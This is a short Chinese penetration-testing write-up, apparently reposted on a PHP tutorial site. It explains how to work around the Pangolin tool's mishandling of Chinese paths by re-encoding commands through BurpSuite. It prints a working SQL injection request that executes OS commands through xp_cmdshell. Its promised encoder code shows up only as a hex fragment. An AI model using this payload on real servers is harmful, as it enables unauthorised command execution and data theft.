来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 实验室@evan给大家带来实际渗透测试的经验!在一次渗透测试过程中发现对方的网站根目录用的是中文,使用Pangolin测试时,发现类似dir c:\中文路径这种cmd命令执行总是出错,后来用Bu...
实验室@evan给大家带来实际渗透测试的经验! 如“中文路径”被其编码成为: xd600d000ce00c400c200b700be00b600
www.2cto.com 看来Pangolin对中文的处理有问题,不过我没办法修改它的二进制代码,只能自己做一个编码程序,然后配合BurpSuite把渗透测试工作执行下去。下面是处理编码的一个小程序中的核心代码,在Visual Basic 2010 Express Edition编译通过。
0x2d4e8765ef8d845f 在Pangolin中设置BurpSuite代理,使用BurpSuite把Pangolin发送的数据包中@z=??的问号部分替换为自己计算的字符编码即可得到想要的结果。 <GET /news_detail.aspx?newsid=3941%20;declare%20@z%20nvarchar(4000)%20set%20@z=??%20insert%20into%20[pangolin_test_table](resulttxt)%20exec%20master.dbo.xp_cmdshell%20@z;alter%20table%20[pangolin_test_table]%20add%20id%20int%20not%20null%20identity%20(1,1)-- HTTP/1.1> |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com